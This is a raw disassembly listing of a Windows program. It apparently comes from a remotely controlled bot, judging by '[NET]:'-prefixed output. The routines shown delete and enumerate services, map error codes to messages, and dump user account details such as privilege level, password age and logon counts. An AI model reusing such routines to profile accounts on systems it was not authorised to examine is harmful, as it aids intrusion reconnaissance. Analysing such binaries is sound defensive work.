		call	dword_433494	; DeleteService


loc_405C2A:				; CODE XREF: sub_405BA9+69j
					; sub_405BA9+78j
		test	eax, eax
		jnz	short loc_405C36
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	ebx, eax


loc_405C36:				; CODE XREF: sub_405BA9+54j
					; sub_405BA9+59j ...
		push	esi
		call	dword_4334D0	; CloseServiceHandle


loc_405C3D:				; CODE XREF: sub_405BA9+45j
		push	edi
		call	dword_4334D0	; CloseServiceHandle
		pop	esi


loc_405C45:				; CODE XREF: sub_405BA9+25j
		pop	edi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_405BA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_405C4B	proc near		; CODE XREF: sub_40668A:loc_4066D2p
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_405CFC
		jz	loc_405CF5
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_405CBF
		jz	short loc_405CB5
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_405CAB
		dec	ecx
		dec	ecx
		jz	short loc_405CA1
		dec	ecx
		jz	short loc_405C97
		sub	ecx, 51h
		jz	short loc_405C8D
		sub	ecx, 24h
		jnz	loc_405D72	; default
					; jumptable 00405D19 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_405D64
; ---------------------------------------------------------------------------


loc_405C8D:				; CODE XREF: sub_405C4B+2Dj
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_405D64
; ---------------------------------------------------------------------------


loc_405C97:				; CODE XREF: sub_405C4B+28j
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_405D64
; ---------------------------------------------------------------------------


loc_405CA1:				; CODE XREF: sub_405C4B+25j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_405D64
; ---------------------------------------------------------------------------


loc_405CAB:				; CODE XREF: sub_405C4B+21j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_405D64
; ---------------------------------------------------------------------------


loc_405CB5:				; CODE XREF: sub_405C4B+1Aj
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_405D64
; ---------------------------------------------------------------------------


loc_405CBF:				; CODE XREF: sub_405C4B+18j
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_405CEE
		dec	ecx
		jz	short loc_405CE7
		dec	ecx
		jz	short loc_405CE0
		dec	ecx
		jnz	loc_405D72	; default
					; jumptable 00405D19 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_405D64
; ---------------------------------------------------------------------------


loc_405CE0:				; CODE XREF: sub_405C4B+82j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405CE7:				; CODE XREF: sub_405C4B+7Fj
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405CEE:				; CODE XREF: sub_405C4B+7Cj
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405CF5:				; CODE XREF: sub_405C4B+Dj
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405CFC:				; CODE XREF: sub_405C4B+7j
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_405D72 ; default
					; jumptable 00405D19 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_405D5F
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_405D72 ; default
					; jumptable 00405D19 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_405DB3[ecx]
		jmp	ds:off_405D8B[ecx*4] ; switch jump


loc_405D20:				; DATA XREF: .text:off_405D8Bo
		push	offset aTheSpecifiedDa ; jumptable 00405D19 case 7
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405D27:				; CODE XREF: sub_405C4B+CEj
					; DATA XREF: .text:off_405D8Bo
		push	offset aTheServiceDepe ; jumptable 00405D19 case 17
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405D2E:				; CODE XREF: sub_405C4B+CEj
					; DATA XREF: .text:off_405D8Bo
		push	offset aTheServiceDe_0 ; jumptable 00405D19 case 10
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405D35:				; CODE XREF: sub_405C4B+CEj
					; DATA XREF: .text:off_405D8Bo
		push	offset aTheServiceHasB ; jumptable 00405D19 case 0
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405D3C:				; CODE XREF: sub_405C4B+CEj
					; DATA XREF: .text:off_405D8Bo
		push	offset aTheSpecified_0 ; jumptable 00405D19 case 2
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405D43:				; CODE XREF: sub_405C4B+CEj
					; DATA XREF: .text:off_405D8Bo
		push	offset aTheServiceCoul ; jumptable 00405D19 case 11
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405D4A:				; CODE XREF: sub_405C4B+CEj
					; DATA XREF: .text:off_405D8Bo
		push	offset aTheServiceHa_0 ; jumptable 00405D19 case 14
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405D51:				; CODE XREF: sub_405C4B+CEj
					; DATA XREF: .text:off_405D8Bo
		push	offset aTheRequested_1 ; jumptable 00405D19 case 3
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405D58:				; CODE XREF: sub_405C4B+CEj
					; DATA XREF: .text:off_405D8Bo
		push	offset aTheServiceHasN ; jumptable 00405D19 case 4
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405D5F:				; CODE XREF: sub_405C4B+BAj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_405D64:				; CODE XREF: sub_405C4B+3Dj
					; sub_405C4B+47j ...
		push	offset dword_433860
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	short loc_405D85
; ---------------------------------------------------------------------------


loc_405D72:				; CODE XREF: sub_405C4B+32j
					; sub_405C4B+85j ...
		push	eax		; default
					; jumptable 00405D19 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_433860
		call	sub_412BB5
		add	esp, 0Ch


loc_405D85:				; CODE XREF: sub_405C4B+125j
		mov	eax, offset dword_433860
		retn
sub_405C4B	endp

; ---------------------------------------------------------------------------
off_405D8B	dd offset loc_405D35	; DATA XREF: sub_405C4B+CEr
		dd offset loc_405D3C	; jump table for switch	statement
		dd offset loc_405D51
		dd offset loc_405D58
		dd offset loc_405D20
		dd offset loc_405D2E
		dd offset loc_405D43
		dd offset loc_405D4A
		dd offset loc_405D27
		dd offset loc_405D72
byte_405DB3	db	0,     9,     1,     2 ; DATA XREF: sub_405C4B+C7r
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DC5	proc near		; CODE XREF: sub_4078FA+1C1Dp

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_43355C	; OpenSCManagerA
		push	ebx
		push	[ebp+arg_8]
		mov	[ebp+var_C], eax
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_405DFD:				; CODE XREF: sub_405DC5+123j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	168h
		lea	eax, [ebp+var_18C]
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_43356C	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_405E37
		call	ds:dword_41F008	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_405EEE


loc_405E37:				; CODE XREF: sub_405DC5+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_405EE5
		lea	esi, [ebp+var_188]


loc_405E48:				; CODE XREF: sub_405DC5+11Aj
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_405E94
		dec	eax
		jz	short loc_405E8D
		dec	eax
		jz	short loc_405E86
		dec	eax
		jz	short loc_405E7F
		dec	eax
		jz	short loc_405E78
		dec	eax
		jz	short loc_405E71
		dec	eax
		lea	eax, [ebp+var_20]
		jz	short loc_405E6A
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_405E9C
; ---------------------------------------------------------------------------


loc_405E6A:				; CODE XREF: sub_405DC5+9Cj
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_405E9C
; ---------------------------------------------------------------------------


loc_405E71:				; CODE XREF: sub_405DC5+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_405E99
; ---------------------------------------------------------------------------


loc_405E78:				; CODE XREF: sub_405DC5+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_405E99
; ---------------------------------------------------------------------------


loc_405E7F:				; CODE XREF: sub_405DC5+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_405E99
; ---------------------------------------------------------------------------


loc_405E86:				; CODE XREF: sub_405DC5+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_405E99
; ---------------------------------------------------------------------------


loc_405E8D:				; CODE XREF: sub_405DC5+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_405E99
; ---------------------------------------------------------------------------


loc_405E94:				; CODE XREF: sub_405DC5+87j
		push	offset aStopped	; "    Stopped"


loc_405E99:				; CODE XREF: sub_405DC5+B1j
					; sub_405DC5+B8j ...
		lea	eax, [ebp+var_20]


loc_405E9C:				; CODE XREF: sub_405DC5+A3j
					; sub_405DC5+AAj
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		lea	eax, [ebp+var_20]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS_0	; "%s: %s (%s)"
		push	eax
		call	sub_412BB5
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_38C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_405E48


loc_405EE5:				; CODE XREF: sub_405DC5+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_405DFD


loc_405EEE:				; CODE XREF: sub_405DC5+6Cj
		push	[ebp+var_C]
		call	dword_4334D0	; CloseServiceHandle
		xor	eax, eax
		cmp	eax, [ebp+var_4]
		pop	edi
		sbb	eax, eax
		pop	esi
		neg	eax
		pop	ebx
		leave
		retn
sub_405DC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_405F05	proc near		; CODE XREF: sub_405FC7+Ap
					; sub_405FC7+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_405F12
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_405F12:				; CODE XREF: sub_405F05+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_41F0A8
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_413A90
		pop	ecx
		push	edi
		mov	ebx, eax
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_405F05	endp


; =============== S U B	R O U T	I N E =======================================



sub_405F46	proc near		; CODE XREF: sub_40E9C5+248p

arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_20		= dword	ptr  24h

		mov	eax, offset loc_41E8BA
		call	sub_413EF4
		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_10],	esi
		jnz	short loc_405F5D
		xor	eax, eax
		jmp	short loc_405FB9
; ---------------------------------------------------------------------------


loc_405F5D:				; CODE XREF: sub_405F46+11j
		push	ebx
		push	ebp
		push	edi
		mov	edi, ds:dword_41F0AC
		push	esi
		push	esi
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[esp+24h+arg_10]
		mov	ebx, 400h
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte ptr dword_4338C0, 1
		mov	ebp, eax
		jnz	short loc_405F9E
		or	dword_4338C0, 1
		lea	eax, [ebp+1]
		push	eax
		mov	[esp+4+arg_14],	esi
		call	sub_413A90
		pop	ecx
		mov	dword_4338BC, eax


loc_405F9E:				; CODE XREF: sub_405F46+3Cj
		push	esi
		push	esi
		push	ebp
		push	dword_4338BC
		push	0FFFFFFFFh
		push	[esp+14h+arg_20]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_4338BC
		pop	edi
		pop	ebp
		pop	ebx


loc_405FB9:				; CODE XREF: sub_405F46+15j
		mov	ecx, [esp+4]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_405F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FC7	proc near		; CODE XREF: sub_406702+6Cp
					; sub_40ECEC+18Fp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	edi
		push	[ebp+arg_0]
		call	sub_405F05
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_405F05
		push	24h
		push	[ebp+arg_4]
		mov	[ebp+var_24], eax
		call	sub_413F30
		push	[ebp+arg_8]
		neg	eax
		sbb	eax, eax
		and	[ebp+var_1C], 0
		or	[ebp+var_14], 0FFFFFFFFh
		and	[ebp+var_10], 0
		and	eax, 80000000h
		mov	[ebp+var_20], eax
		mov	[ebp+var_18], 7Fh
		call	sub_405F05
		and	[ebp+var_8], 0
		add	esp, 14h
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	2
		push	edi
		call	dword_433488
		pop	edi
		leave
		retn
sub_405FC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_406032	proc near		; CODE XREF: sub_406702+20p
					; sub_40E9C5+1BDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_405F05
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_405F05
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4334A4
		pop	esi
		retn
sub_406032	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406055	proc near		; CODE XREF: sub_4068DF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_405F05
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_405F05
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_405F05
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		add	esp, 0Ch
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	[ebp+var_20], eax
		xor	eax, eax
		lea	ecx, [ebp+var_24]
		inc	eax
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_43346C
		pop	edi
		leave
		retn
sub_406055	endp


; =============== S U B	R O U T	I N E =======================================



sub_4060AF	proc near		; CODE XREF: sub_4068DF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_405F05
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_405F05
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_433568
		pop	esi
		retn
sub_4060AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060D0	proc near		; CODE XREF: sub_4068DF+2Dp

var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_405F05
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_405F05
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_43348C
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	loc_40645D
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_406498
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_208]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_412BB5
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_208]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_208]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_208]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		mov	eax, [eax+10h]
		add	esp, 40h
		sub	eax, 0
		jz	short loc_4061E9
		dec	eax
		jz	short loc_4061E2
		dec	eax
		jz	short loc_4061DB
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061DB:				; CODE XREF: sub_4060D0+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061E2:				; CODE XREF: sub_4060D0+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061E9:				; CODE XREF: sub_4060D0+FCj
		mov	eax, offset aGuest ; "Guest"


loc_4061EE:				; CODE XREF: sub_4060D0+109j
					; sub_4060D0+110j ...
		push	eax
		lea	eax, [ebp+var_208]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_208]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_208]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_208]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_208]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_208]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_208]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_208]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_208]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_208]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_208]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_208]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_208]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_208]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_208]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_406489
; ---------------------------------------------------------------------------


loc_40645D:				; CODE XREF: sub_4060D0+35j
		push	eax
		lea	eax, [ebp+var_208]
		push	offset aNetUserInfoErr ; "[NET]: User info error: <%ld>"
		push	eax
		call	sub_412BB5
		push	0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4045DD
		add	esp, 20h


loc_406489:				; CODE XREF: sub_4060D0+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_406498
		push	[ebp+var_4]
		call	dword_4334D8


loc_406498:				; CODE XREF: sub_4060D0+40j
					; sub_4060D0+3BDj
		mov	eax, [ebp+var_8]
		pop	esi
		leave
		retn
sub_4060D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40649E	proc near		; CODE XREF: sub_4065CE+9Ep
					; sub_406702:loc_406742p ...
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40654C
		jz	loc_406545
		cmp	eax, 7Bh
		ja	short loc_406511
		jz	short loc_406507
		cmp	eax, 5
		jz	short loc_4064FD
		cmp	eax, 8
		jz	short loc_4064F3
		cmp	eax, 32h
		jz	short loc_4064E9
		cmp	eax, 35h
		jz	short loc_4064DF
		cmp	eax, 57h
		jnz	loc_40659B
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_4065BC
; ---------------------------------------------------------------------------


loc_4064DF:				; CODE XREF: sub_40649E+2Cj
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_4065BC
; ---------------------------------------------------------------------------


loc_4064E9:				; CODE XREF: sub_40649E+27j
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_4065BC
; ---------------------------------------------------------------------------


loc_4064F3:				; CODE XREF: sub_40649E+22j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_4065BC
; ---------------------------------------------------------------------------


loc_4064FD:				; CODE XREF: sub_40649E+1Dj
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_4065BC
; ---------------------------------------------------------------------------


loc_406507:				; CODE XREF: sub_40649E+18j
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_4065BC
; ---------------------------------------------------------------------------


loc_406511:				; CODE XREF: sub_40649E+16j
		sub	eax, 7Ch
		jz	short loc_40653E
		sub	eax, 7C8h
		jz	short loc_406537
		dec	eax
		jz	short loc_40652D
		dec	eax
		jnz	short loc_40659B
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_4065BC
; ---------------------------------------------------------------------------


loc_40652D:				; CODE XREF: sub_40649E+80j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_4065BC
; ---------------------------------------------------------------------------


loc_406537:				; CODE XREF: sub_40649E+7Dj
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_40653E:				; CODE XREF: sub_40649E+76j
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_406545:				; CODE XREF: sub_40649E+Dj
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_40654C:				; CODE XREF: sub_40649E+7j
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_406585
		jz	short loc_40657E
		sub	eax, 8ADh
		jz	short loc_4065B0
		dec	eax
		dec	eax
		jz	short loc_406577
		dec	eax
		jz	short loc_406570
		dec	eax
		dec	eax
		jnz	short loc_40659B
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_406570:				; CODE XREF: sub_40649E+C5j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_406577:				; CODE XREF: sub_40649E+C2j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_40657E:				; CODE XREF: sub_40649E+B7j
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_406585:				; CODE XREF: sub_40649E+B5j
		sub	eax, 8CAh
		jz	short loc_4065B7
		sub	eax, 17h
		jz	short loc_4065B0
		sub	eax, 25h
		jz	short loc_4065A9
		sub	eax, 29h
		jz	short loc_4065A2


loc_40659B:				; CODE XREF: sub_40649E+31j
					; sub_40649E+83j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_4065A2:				; CODE XREF: sub_40649E+FBj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


